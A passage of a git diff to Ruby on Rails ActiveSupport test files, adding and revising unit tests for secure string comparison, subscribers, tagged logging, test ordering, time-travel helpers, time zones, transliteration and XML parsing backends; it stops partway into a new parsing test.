diff --git a/activesupport/test/security_utils_test.rb b/activesupport/test/security_utils_test.rb
new file mode 100644
index 0000000000..08d2e3baa6
--- /dev/null
+++ b/activesupport/test/security_utils_test.rb
@@ -0,0 +1,9 @@
+require 'abstract_unit'
+require 'active_support/security_utils'
+
+class SecurityUtilsTest < ActiveSupport::TestCase
+  def test_secure_compare_should_perform_string_comparison
+    assert ActiveSupport::SecurityUtils.secure_compare('a', 'a')
+    assert !ActiveSupport::SecurityUtils.secure_compare('a', 'b')
+  end
+end
diff --git a/activesupport/test/subscriber_test.rb b/activesupport/test/subscriber_test.rb
new file mode 100644
index 0000000000..a88d8d9eba
--- /dev/null
+++ b/activesupport/test/subscriber_test.rb
@@ -0,0 +1,54 @@
+require 'abstract_unit'
+require 'active_support/subscriber'
+
+class TestSubscriber < ActiveSupport::Subscriber
+  attach_to :doodle
+
+  cattr_reader :events
+
+  def self.clear
+    @@events = []
+  end
+
+  def open_party(event)
+    events << event
+  end
+
+  private
+
+  def private_party(event)
+    events << event
+  end
+end
+
+# Monkey patch subscriber to test that only one subscriber per method is added.
+class TestSubscriber
+  remove_method :open_party
+  def open_party(event)
+    events << event
+  end
+end
+
+class SubscriberTest < ActiveSupport::TestCase
+  def setup
+    TestSubscriber.clear
+  end
+
+  def test_attaches_subscribers
+    ActiveSupport::Notifications.instrument("open_party.doodle")
+
+    assert_equal "open_party.doodle", TestSubscriber.events.first.name
+  end
+
+  def test_attaches_only_one_subscriber
+    ActiveSupport::Notifications.instrument("open_party.doodle")
+
+    assert_equal 1, TestSubscriber.events.size
+  end
+
+  def test_does_not_attach_private_methods
+    ActiveSupport::Notifications.instrument("private_party.doodle")
+
+    assert_equal [], TestSubscriber.events
+  end
+end
diff --git a/activesupport/test/tagged_logging_test.rb b/activesupport/test/tagged_logging_test.rb
index 27f629474e..03a63e94e8 100644
--- a/activesupport/test/tagged_logging_test.rb
+++ b/activesupport/test/tagged_logging_test.rb
@@ -79,6 +79,19 @@ class TaggedLoggingTest < ActiveSupport::TestCase
     assert_equal "[OMG] Cool story bro\n[BCX] Funky time\n", @output.string
   end
 
+  test "keeps each tag in their own instance" do
+    @other_output = StringIO.new
+    @other_logger = ActiveSupport::TaggedLogging.new(MyLogger.new(@other_output))
+    @logger.tagged("OMG") do
+      @other_logger.tagged("BCX") do
+        @logger.info "Cool story bro"
+        @other_logger.info "Funky time"
+      end
+    end
+    assert_equal "[OMG] Cool story bro\n", @output.string
+    assert_equal "[BCX] Funky time\n", @other_output.string
+  end
+
   test "cleans up the taggings on flush" do
     @logger.tagged("BCX") do
       Thread.new do
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_case_test.rb
index 0c8cc1f883..151b623171 100644
--- a/activesupport/test/test_test.rb
+++ b/activesupport/test/test_case_test.rb
@@ -19,19 +19,37 @@ class AssertDifferenceTest < ActiveSupport::TestCase
     assert_equal true, assert_not(nil)
     assert_equal true, assert_not(false)
 
-    e = assert_raises(MiniTest::Assertion) { assert_not true }
+    e = assert_raises(Minitest::Assertion) { assert_not true }
     assert_equal 'Expected true to be nil or false', e.message
 
-    e = assert_raises(MiniTest::Assertion) { assert_not true, 'custom' }
+    e = assert_raises(Minitest::Assertion) { assert_not true, 'custom' }
     assert_equal 'custom', e.message
   end
 
-  def test_assert_no_difference
+  def test_assert_no_difference_pass
     assert_no_difference '@object.num' do
       # ...
     end
   end
 
+  def test_assert_no_difference_fail
+    error = assert_raises(Minitest::Assertion) do
+      assert_no_difference '@object.num' do
+        @object.increment
+      end
+    end
+    assert_equal "\"@object.num\" didn't change by 0.\nExpected: 0\n  Actual: 1", error.message
+  end
+
+  def test_assert_no_difference_with_message_fail
+    error = assert_raises(Minitest::Assertion) do
+      assert_no_difference '@object.num', 'Object Changed' do
+        @object.increment
+      end
+    end
+    assert_equal "Object Changed.\n\"@object.num\" didn't change by 0.\nExpected: 0\n  Actual: 1", error.message
+  end
+
   def test_assert_difference
     assert_difference '@object.num', +1 do
       @object.increment
@@ -71,7 +89,7 @@ class AssertDifferenceTest < ActiveSupport::TestCase
   end
 
   def test_array_of_expressions_identify_failure
-    assert_raises(MiniTest::Assertion) do
+    assert_raises(Minitest::Assertion) do
       assert_difference ['@object.num', '1 + 1'] do
         @object.increment
       end
@@ -79,7 +97,7 @@ class AssertDifferenceTest < ActiveSupport::TestCase
   end
 
   def test_array_of_expressions_identify_failure_when_message_provided
-    assert_raises(MiniTest::Assertion) do
+    assert_raises(Minitest::Assertion) do
       assert_difference ['@object.num', '1 + 1'], 1, 'something went wrong' do
         @object.increment
       end
@@ -122,7 +140,6 @@ class SetupAndTeardownTest < ActiveSupport::TestCase
     end
 end
 
-
 class SubclassSetupAndTeardownTest < SetupAndTeardownTest
   setup :bar
   teardown :bar
@@ -143,7 +160,6 @@ class SubclassSetupAndTeardownTest < SetupAndTeardownTest
     end
 end
 
-
 class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
   def before_setup
     require 'stringio'
@@ -156,3 +172,48 @@ class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
     assert_match "#{self.class}: #{name}\n", @out.string
   end
 end
+
+class TestOrderTest < ActiveSupport::TestCase
+  def setup
+    @original_test_order = ActiveSupport::TestCase.test_order
+  end
+
+  def teardown
+    ActiveSupport::TestCase.test_order = @original_test_order
+  end
+
+  def test_defaults_to_random
+    ActiveSupport::TestCase.test_order = nil
+
+    assert_equal :random, ActiveSupport::TestCase.test_order
+
+    assert_equal :random, ActiveSupport.test_order
+  end
+
+  def test_test_order_is_global
+    ActiveSupport::TestCase.test_order = :sorted
+
+    assert_equal :sorted, ActiveSupport.test_order
+    assert_equal :sorted, ActiveSupport::TestCase.test_order
+    assert_equal :sorted, self.class.test_order
+    assert_equal :sorted, Class.new(ActiveSupport::TestCase).test_order
+
+    ActiveSupport.test_order = :random
+
+    assert_equal :random, ActiveSupport.test_order
+    assert_equal :random, ActiveSupport::TestCase.test_order
+    assert_equal :random, self.class.test_order
+    assert_equal :random, Class.new(ActiveSupport::TestCase).test_order
+  end
+
+  def test_i_suck_and_my_tests_are_order_dependent!
+    ActiveSupport::TestCase.test_order = :random
+
+    klass = Class.new(ActiveSupport::TestCase) do
+      i_suck_and_my_tests_are_order_dependent!
+    end
+
+    assert_equal :alpha, klass.test_order
+    assert_equal :random, ActiveSupport::TestCase.test_order
+  end
+end
diff --git a/activesupport/test/testing/constant_lookup_test.rb b/activesupport/test/testing/constant_lookup_test.rb
index aca2951450..0f16419c8b 100644
--- a/activesupport/test/testing/constant_lookup_test.rb
+++ b/activesupport/test/testing/constant_lookup_test.rb
@@ -6,7 +6,6 @@ class Bar < Foo
   def index; end
   def self.index; end
 end
-class Baz < Bar; end
 module FooBar; end
 
 class ConstantLookupTest < ActiveSupport::TestCase
@@ -66,4 +65,12 @@ class ConstantLookupTest < ActiveSupport::TestCase
       }
     }
   end
+
+  def test_does_not_swallow_exception_on_no_name_error_within_constant
+    assert_raises(NameError) do
+      with_autoloading_fixtures do
+        self.class.determine_constant_from_test_name('RaisesNameError')
+      end
+    end
+  end
 end
diff --git a/activesupport/test/testing/file_fixtures_test.rb b/activesupport/test/testing/file_fixtures_test.rb
new file mode 100644
index 0000000000..91b8a9071c
--- /dev/null
+++ b/activesupport/test/testing/file_fixtures_test.rb
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+
+class FileFixturesTest < ActiveSupport::TestCase
+  self.file_fixture_path = File.expand_path("../../file_fixtures", __FILE__)
+
+  test "#file_fixture returns Pathname to file fixture" do
+    path = file_fixture("sample.txt")
+    assert_kind_of Pathname, path
+    assert_match %r{activesupport/test/file_fixtures/sample.txt$}, path.to_s
+  end
+
+  test "raises an exception when the fixture file does not exist" do
+    e = assert_raises(ArgumentError) do
+      file_fixture("nope")
+    end
+    assert_match(/^the directory '[^']+test\/file_fixtures' does not contain a file named 'nope'$/, e.message)
+  end
+end
+
+class FileFixturesPathnameDirectoryTest < ActiveSupport::TestCase
+  self.file_fixture_path = Pathname.new(File.expand_path("../../file_fixtures", __FILE__))
+
+  test "#file_fixture_path returns Pathname to file fixture" do
+    path = file_fixture("sample.txt")
+    assert_kind_of Pathname, path
+    assert_match %r{activesupport/test/file_fixtures/sample.txt$}, path.to_s
+  end
+end
diff --git a/activesupport/test/time_travel_test.rb b/activesupport/test/time_travel_test.rb
new file mode 100644
index 0000000000..676a143692
--- /dev/null
+++ b/activesupport/test/time_travel_test.rb
@@ -0,0 +1,83 @@
+require 'abstract_unit'
+require 'active_support/core_ext/date'
+require 'active_support/core_ext/date_time'
+require 'active_support/core_ext/numeric/time'
+
+class TimeTravelTest < ActiveSupport::TestCase
+  setup do
+    Time.stubs now: Time.now
+  end
+
+  teardown do
+    travel_back
+  end
+
+  def test_time_helper_travel
+    expected_time = Time.now + 1.day
+    travel 1.day
+
+    assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
+    assert_equal expected_time.to_date, Date.today
+    assert_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db)
+  end
+
+  def test_time_helper_travel_with_block
+    expected_time = Time.now + 1.day
+
+    travel 1.day do
+      assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
+      assert_equal expected_time.to_date, Date.today
+      assert_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db)
+    end
+
+    assert_not_equal expected_time.to_s(:db), Time.now.to_s(:db)
+    assert_not_equal expected_time.to_date, Date.today
+    assert_not_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db)
+  end
+
+  def test_time_helper_travel_to
+    expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+    travel_to expected_time
+
+    assert_equal expected_time, Time.now
+    assert_equal Date.new(2004, 11, 24), Date.today
+    assert_equal expected_time.to_datetime, DateTime.now
+  end
+
+  def test_time_helper_travel_to_with_block
+    expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+    travel_to expected_time do
+      assert_equal expected_time, Time.now
+      assert_equal Date.new(2004, 11, 24), Date.today
+      assert_equal expected_time.to_datetime, DateTime.now
+    end
+
+    assert_not_equal expected_time, Time.now
+    assert_not_equal Date.new(2004, 11, 24), Date.today
+    assert_not_equal expected_time.to_datetime, DateTime.now
+  end
+
+  def test_time_helper_travel_back
+    expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+    travel_to expected_time
+    assert_equal expected_time, Time.now
+    assert_equal Date.new(2004, 11, 24), Date.today
+    assert_equal expected_time.to_datetime, DateTime.now
+    travel_back
+
+    assert_not_equal expected_time, Time.now
+    assert_not_equal Date.new(2004, 11, 24), Date.today
+    assert_not_equal expected_time.to_datetime, DateTime.now
+  end
+
+  def test_travel_to_will_reset_the_usec_to_avoid_mysql_rouding
+    travel_to Time.utc(2014, 10, 10, 10, 10, 50, 999999) do
+      assert_equal 50, Time.now.sec
+      assert_equal 0, Time.now.usec
+      assert_equal 50, DateTime.now.sec
+      assert_equal 0, DateTime.now.usec
+    end
+  end
+end
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index 84c3154e53..7888b9919b 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -1,7 +1,10 @@
 require 'abstract_unit'
 require 'active_support/time'
+require 'time_zone_test_helpers'
 
 class TimeZoneTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
   def test_utc_to_local
     zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
     assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
@@ -19,7 +22,7 @@ class TimeZoneTest < ActiveSupport::TestCase
     assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000))
   end
 
-  ActiveSupport::TimeZone::MAPPING.keys.each do |name|
+  ActiveSupport::TimeZone::MAPPING.each_key do |name|
     define_method("test_map_#{name.downcase.gsub(/[^a-z]/, '_')}_to_tzinfo") do
       zone = ActiveSupport::TimeZone[name]
       assert_respond_to zone.tzinfo, :period_for_local
@@ -89,14 +92,65 @@ class TimeZoneTest < ActiveSupport::TestCase
   end
 
   def test_today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+    travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
     assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+    travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
     assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+    travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
     assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+    travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
     assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
+    travel_back
+  end
+
+  def test_tomorrow
+    travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+    travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+    assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+    travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+    travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 3), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+    travel_back
+  end
+
+  def test_yesterday
+    travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+    assert_equal Date.new(1999, 12, 30), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+    travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+    travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+    travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+    travel_back
+  end
+
+  def test_travel_to_a_date
+    with_env_tz do
+      Time.use_zone('Hawaii') do
+        date = Date.new(2014, 2, 18)
+        time = date.midnight
+
+        travel_to date do
+          assert_equal date, Date.current
+          assert_equal time, Time.current
+        end
+      end
+    end
+  end
+
+  def test_travel_to_travels_back_and_reraises_if_the_block_raises
+    ts = Time.current - 1.second
+
+    travel_to ts do
+      raise
+    end
+
+    flunk # ensure travel_to re-raises
+  rescue
+    assert_not_equal ts, Time.current
   end
 
   def test_local
@@ -203,6 +257,15 @@ class TimeZoneTest < ActiveSupport::TestCase
     assert_equal Time.utc(1999,12,31,19), twz.time
   end
 
+  def test_parse_with_day_omitted
+    with_env_tz 'US/Eastern' do
+      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+      assert_equal Time.local(2000, 2, 1), zone.parse('Feb', Time.local(2000, 1, 1))
+      assert_equal Time.local(2005, 2, 1), zone.parse('Feb 2005', Time.local(2000, 1, 1))
+      assert_equal Time.local(2005, 2, 2), zone.parse('2 Feb 2005', Time.local(2000, 1, 1))
+    end
+  end
+
   def test_parse_should_not_black_out_system_timezone_dst_jump
     with_env_tz('EET') do
       zone = ActiveSupport::TimeZone['Pacific Time (US & Canada)']
@@ -332,20 +395,14 @@ class TimeZoneTest < ActiveSupport::TestCase
     assert_raise(ArgumentError) { ActiveSupport::TimeZone[false] }
   end
 
-  def test_unknown_zone_should_have_tzinfo_but_exception_on_utc_offset
-    zone = ActiveSupport::TimeZone.create("bogus")
-    assert_instance_of TZInfo::TimezoneProxy, zone.tzinfo
-    assert_raise(TZInfo::InvalidTimezoneIdentifier) { zone.utc_offset }
-  end
-
-  def test_unknown_zone_with_utc_offset
-    zone = ActiveSupport::TimeZone.create("bogus", -21_600)
-    assert_equal(-21_600, zone.utc_offset)
+  def test_unknown_zone_raises_exception
+    assert_raise TZInfo::InvalidTimezoneIdentifier do
+      ActiveSupport::TimeZone.create("bogus")
+    end
   end
 
   def test_unknown_zones_dont_store_mapping_keys
-    ActiveSupport::TimeZone["bogus"]
-    assert !ActiveSupport::TimeZone.zones_map.key?("bogus")
+    assert_nil ActiveSupport::TimeZone["bogus"]
   end
 
   def test_new
@@ -356,12 +413,4 @@ class TimeZoneTest < ActiveSupport::TestCase
     assert ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Hawaii"])
     assert !ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Kuala Lumpur"])
   end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
 end
diff --git a/activesupport/test/time_zone_test_helpers.rb b/activesupport/test/time_zone_test_helpers.rb
new file mode 100644
index 0000000000..9632b89d09
--- /dev/null
+++ b/activesupport/test/time_zone_test_helpers.rb
@@ -0,0 +1,16 @@
+module TimeZoneTestHelpers
+  def with_tz_default(tz = nil)
+    old_tz = Time.zone
+    Time.zone = tz
+    yield
+  ensure
+    Time.zone = old_tz
+  end
+
+  def with_env_tz(new_tz = 'US/Eastern')
+    old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+    yield
+  ensure
+    old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+  end
+end
diff --git a/activesupport/test/transliterate_test.rb b/activesupport/test/transliterate_test.rb
index ce91c443e1..378421fedd 100644
--- a/activesupport/test/transliterate_test.rb
+++ b/activesupport/test/transliterate_test.rb
@@ -1,9 +1,7 @@
-# encoding: utf-8
 require 'abstract_unit'
 require 'active_support/inflector/transliterate'
 
 class TransliterateTest < ActiveSupport::TestCase
-
   def test_transliterate_should_not_change_ascii_chars
     (0..127).each do |byte|
       char = [byte].pack("U")
@@ -12,7 +10,7 @@ class TransliterateTest < ActiveSupport::TestCase
   end
 
   def test_transliterate_should_approximate_ascii
-    # create string with range of Unicode"s western characters with
+    # create string with range of Unicode's western characters with
     # diacritics, excluding the division and multiplication signs which for
     # some reason or other are floating in the middle of all the letters.
     string = (0xC0..0x17E).to_a.reject {|c| [0xD7, 0xF7].include?(c)}.pack("U*")
@@ -24,12 +22,13 @@ class TransliterateTest < ActiveSupport::TestCase
   def test_transliterate_should_work_with_custom_i18n_rules_and_uncomposed_utf8
     char = [117, 776].pack("U*") # "ü" as ASCII "u" plus COMBINING DIAERESIS
     I18n.backend.store_translations(:de, :i18n => {:transliterate => {:rule => {"ü" => "ue"}}})
-    I18n.locale = :de
+    default_locale, I18n.locale = I18n.locale, :de
     assert_equal "ue", ActiveSupport::Inflector.transliterate(char)
+  ensure
+    I18n.locale = default_locale
   end
 
   def test_transliterate_should_allow_a_custom_replacement_char
     assert_equal "a*b", ActiveSupport::Inflector.transliterate("a索b", "*")
   end
-
 end
diff --git a/activesupport/test/xml_mini/nokogiri_engine_test.rb b/activesupport/test/xml_mini/nokogiri_engine_test.rb
index 2e962576b5..1314c9065a 100644
--- a/activesupport/test/xml_mini/nokogiri_engine_test.rb
+++ b/activesupport/test/xml_mini/nokogiri_engine_test.rb
@@ -8,15 +8,13 @@ require 'active_support/xml_mini'
 require 'active_support/core_ext/hash/conversions'
 
 class NokogiriEngineTest < ActiveSupport::TestCase
-  include ActiveSupport
-
   def setup
-    @default_backend = XmlMini.backend
-    XmlMini.backend = 'Nokogiri'
+    @default_backend = ActiveSupport::XmlMini.backend
+    ActiveSupport::XmlMini.backend = 'Nokogiri'
   end
 
   def teardown
-    XmlMini.backend = @default_backend
+    ActiveSupport::XmlMini.backend = @default_backend
   end
 
   def test_file_from_xml
@@ -56,13 +54,13 @@ class NokogiriEngineTest < ActiveSupport::TestCase
   end
 
   def test_setting_nokogiri_as_backend
-    XmlMini.backend = 'Nokogiri'
-    assert_equal XmlMini_Nokogiri, XmlMini.backend
+    ActiveSupport::XmlMini.backend = 'Nokogiri'
+    assert_equal ActiveSupport::XmlMini_Nokogiri, ActiveSupport::XmlMini.backend
   end
 
   def test_blank_returns_empty_hash
-    assert_equal({}, XmlMini.parse(nil))
-    assert_equal({}, XmlMini.parse(''))
+    assert_equal({}, ActiveSupport::XmlMini.parse(nil))
+    assert_equal({}, ActiveSupport::XmlMini.parse(''))
   end
 
   def test_array_type_makes_an_array
@@ -207,9 +205,9 @@ class NokogiriEngineTest < ActiveSupport::TestCase
 
   private
     def assert_equal_rexml(xml)
-      parsed_xml = XmlMini.parse(xml)
+      parsed_xml = ActiveSupport::XmlMini.parse(xml)
       xml.rewind if xml.respond_to?(:rewind)
-      hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+      hash = ActiveSupport::XmlMini.with_backend('REXML') { ActiveSupport::XmlMini.parse(xml) }
       assert_equal(hash, parsed_xml)
     end
 end
diff --git a/activesupport/test/xml_mini/nokogirisax_engine_test.rb b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
index 4f078f31e0..7978a50921 100644
--- a/activesupport/test/xml_mini/nokogirisax_engine_test.rb
+++ b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
@@ -8,15 +8,13 @@ require 'active_support/xml_mini'
 require 'active_support/core_ext/hash/conversions'
 
 class NokogiriSAXEngineTest < ActiveSupport::TestCase
-  include ActiveSupport
-
   def setup
-    @default_backend = XmlMini.backend
-    XmlMini.backend = 'NokogiriSAX'
+    @default_backend = ActiveSupport::XmlMini.backend
+    ActiveSupport::XmlMini.backend = 'NokogiriSAX'
   end
 
   def teardown
-    XmlMini.backend = @default_backend
+    ActiveSupport::XmlMini.backend = @default_backend
   end
 
   def test_file_from_xml
@@ -57,13 +55,13 @@ class NokogiriSAXEngineTest < ActiveSupport::TestCase
   end
 
   def test_setting_nokogirisax_as_backend
-    XmlMini.backend = 'NokogiriSAX'
-    assert_equal XmlMini_NokogiriSAX, XmlMini.backend
+    ActiveSupport::XmlMini.backend = 'NokogiriSAX'
+    assert_equal ActiveSupport::XmlMini_NokogiriSAX, ActiveSupport::XmlMini.backend
   end
 
   def test_blank_returns_empty_hash
-    assert_equal({}, XmlMini.parse(nil))
-    assert_equal({}, XmlMini.parse(''))
+    assert_equal({}, ActiveSupport::XmlMini.parse(nil))
+    assert_equal({}, ActiveSupport::XmlMini.parse(''))
   end
 
   def test_array_type_makes_an_array
@@ -208,9 +206,9 @@ class NokogiriSAXEngineTest < ActiveSupport::TestCase
 
   private
     def assert_equal_rexml(xml)
-      parsed_xml = XmlMini.parse(xml)
+      parsed_xml = ActiveSupport::XmlMini.parse(xml)
       xml.rewind if xml.respond_to?(:rewind)
-      hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+      hash = ActiveSupport::XmlMini.with_backend('REXML') { ActiveSupport::XmlMini.parse(xml) }
       assert_equal(hash, parsed_xml)
     end
 end
diff --git a/activesupport/test/xml_mini/rexml_engine_test.rb b/activesupport/test/xml_mini/rexml_engine_test.rb
index 0c1f11803c..f0067ca656 100644
--- a/activesupport/test/xml_mini/rexml_engine_test.rb
+++ b/activesupport/test/xml_mini/rexml_engine_test.rb
@@ -2,19 +2,17 @@ require 'abstract_unit'
 require 'active_support/xml_mini'
 
 class REXMLEngineTest < ActiveSupport::TestCase
-  include ActiveSupport
-
   def test_default_is_rexml
-    assert_equal XmlMini_REXML, XmlMini.backend
+    assert_equal ActiveSupport::XmlMini_REXML, ActiveSupport::XmlMini.backend
   end
 
   def test_set_rexml_as_backend
-    XmlMini.backend = 'REXML'
-    assert_equal XmlMini_REXML, XmlMini.backend
+    ActiveSupport::XmlMini.backend = 'REXML'
+    assert_equal ActiveSupport::XmlMini_REXML, ActiveSupport::XmlMini.backend
   end
 
   def test_parse_from_io
-    XmlMini.backend = 'REXML'
+    ActiveSupport::XmlMini.backend = 'REXML'
     io = StringIO.new(<<-eoxml)
     <root>
       good
@@ -29,9 +27,9 @@ class REXMLEngineTest < ActiveSupport::TestCase
 
   private
     def assert_equal_rexml(xml)
-      parsed_xml = XmlMini.parse(xml)
+      parsed_xml = ActiveSupport::XmlMini.parse(xml)
       xml.rewind if xml.respond_to?(:rewind)
-      hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+      hash = ActiveSupport::XmlMini.with_backend('REXML') { ActiveSupport::XmlMini.parse(xml) }
       assert_equal(hash, parsed_xml)
     end
 end
diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb
index a025279e16..bcd6997b06 100644
--- a/activesupport/test/xml_mini_test.rb
+++ b/activesupport/test/xml_mini_test.rb
@@ -1,6 +1,9 @@
 require 'abstract_unit'
 require 'active_support/xml_mini'
 require 'active_support/builder'
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/hash'
+require 'active_support/core_ext/big_decimal'
 
 module XmlMiniTest
   class RenameKeyTest < ActiveSupport::TestCase
@@ -8,7 +11,7 @@ module XmlMiniTest
       assert_equal "my-key", ActiveSupport::XmlMini.rename_key("my_key")
     end
 
-    def test_rename_key_does_nothing_with_dasherize_true
+    def test_rename_key_dasherizes_with_dasherize_true
       assert_equal "my-key", ActiveSupport::XmlMini.rename_key("my_key", :dasherize => true)
     end
 
@@ -88,6 +91,61 @@ module XmlMiniTest
       assert_xml "<b>Howdy</b>"
     end
 
+    test "#to_tag should use the type value in the options hash" do
+      @xml.to_tag(:b, "blue", @options.merge(type: 'color'))
+      assert_xml( "<b type=\"color\">blue</b>" )
+    end
+
+    test "#to_tag accepts symbol types" do
+      @xml.to_tag(:b, :name, @options)
+      assert_xml( "<b type=\"symbol\">name</b>" )
+    end
+
+    test "#to_tag accepts boolean types" do
+      @xml.to_tag(:b, true, @options)
+      assert_xml( "<b type=\"boolean\">true</b>")
+    end
+
+    test "#to_tag accepts float types" do
+      @xml.to_tag(:b, 3.14, @options)
+      assert_xml( "<b type=\"float\">3.14</b>")
+    end
+
+    test "#to_tag accepts decimal types" do
+      @xml.to_tag(:b, ::BigDecimal.new("1.2"), @options)
+      assert_xml( "<b type=\"decimal\">1.2</b>")
+    end
+
+    test "#to_tag accepts date types" do
+      @xml.to_tag(:b, Date.new(2001,2,3), @options)
+      assert_xml( "<b type=\"date\">2001-02-03</b>")
+    end
+
+    test "#to_tag accepts datetime types" do
+      @xml.to_tag(:b, DateTime.new(2001,2,3,4,5,6,'+7'), @options)
+      assert_xml( "<b type=\"dateTime\">2001-02-03T04:05:06+07:00</b>")
+    end
+
+    test "#to_tag accepts time types" do
+      @xml.to_tag(:b, Time.new(1993, 02, 24, 12, 0, 0, "+09:00"), @options)
+      assert_xml( "<b type=\"dateTime\">1993-02-24T12:00:00+09:00</b>")
+    end
+
+    test "#to_tag accepts array types" do
+      @xml.to_tag(:b, ["first_name", "last_name"], @options)
+      assert_xml( "<b type=\"array\"><b>first_name</b><b>last_name</b></b>" )
+    end
+
+    test "#to_tag accepts hash types" do
+      @xml.to_tag(:b, { first_name: "Bob", last_name: "Marley" }, @options)
+      assert_xml( "<b><first-name>Bob</first-name><last-name>Marley</last-name></b>" )
+    end
+
+    test "#to_tag should not add type when skip types option is set" do
+      @xml.to_tag(:b, "Bob", @options.merge(skip_types: 1))
+      assert_xml( "<b>Bob</b>" )
+    end
+
     test "#to_tag should dasherize the space when passed a string with spaces as a key" do
       @xml.to_tag("New   York", 33, @options)
       assert_xml "<New---York type=\"integer\">33</New---York>"
@@ -97,7 +155,6 @@ module XmlMiniTest
       @xml.to_tag(:"New   York", 33, @options)
       assert_xml "<New---York type=\"integer\">33</New---York>"
     end
-    # TODO: test the remaining functions hidden in #to_tag.
   end
 
   class WithBackendTest < ActiveSupport::TestCase
@@ -106,7 +163,11 @@ module XmlMiniTest
     module Nokogiri end
 
     setup do
-      @xml = ActiveSupport::XmlMini
+      @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+    end
+
+    teardown do
+      ActiveSupport::XmlMini.backend = @default_backend
     end
 
     test "#with_backend should switch backend and then switch back" do
@@ -135,7 +196,11 @@ module XmlMiniTest
     module LibXML end
 
     setup do
-      @xml = ActiveSupport::XmlMini
+      @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+    end
+
+    teardown do
+      ActiveSupport::XmlMini.backend = @default_backend
     end
 
     test "#with_backend should be thread-safe" do
@@ -161,4 +226,128 @@ module XmlMiniTest
       end
     end
   end
+
+  class ParsingTest < ActiveSupport::TestCase
+    def setup
+      @parsing = ActiveSupport::XmlMini::PARSING
+    end
+
+    def test_symbol
+      parser = @parsing['symbol']
+      assert_equal :symbol, parser.call('symbol')
+      assert_equal :symbol, parser.call(:symbol)
+      assert_equal :'123', parser.call(123)
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_date
+      parser = @parsing['date']
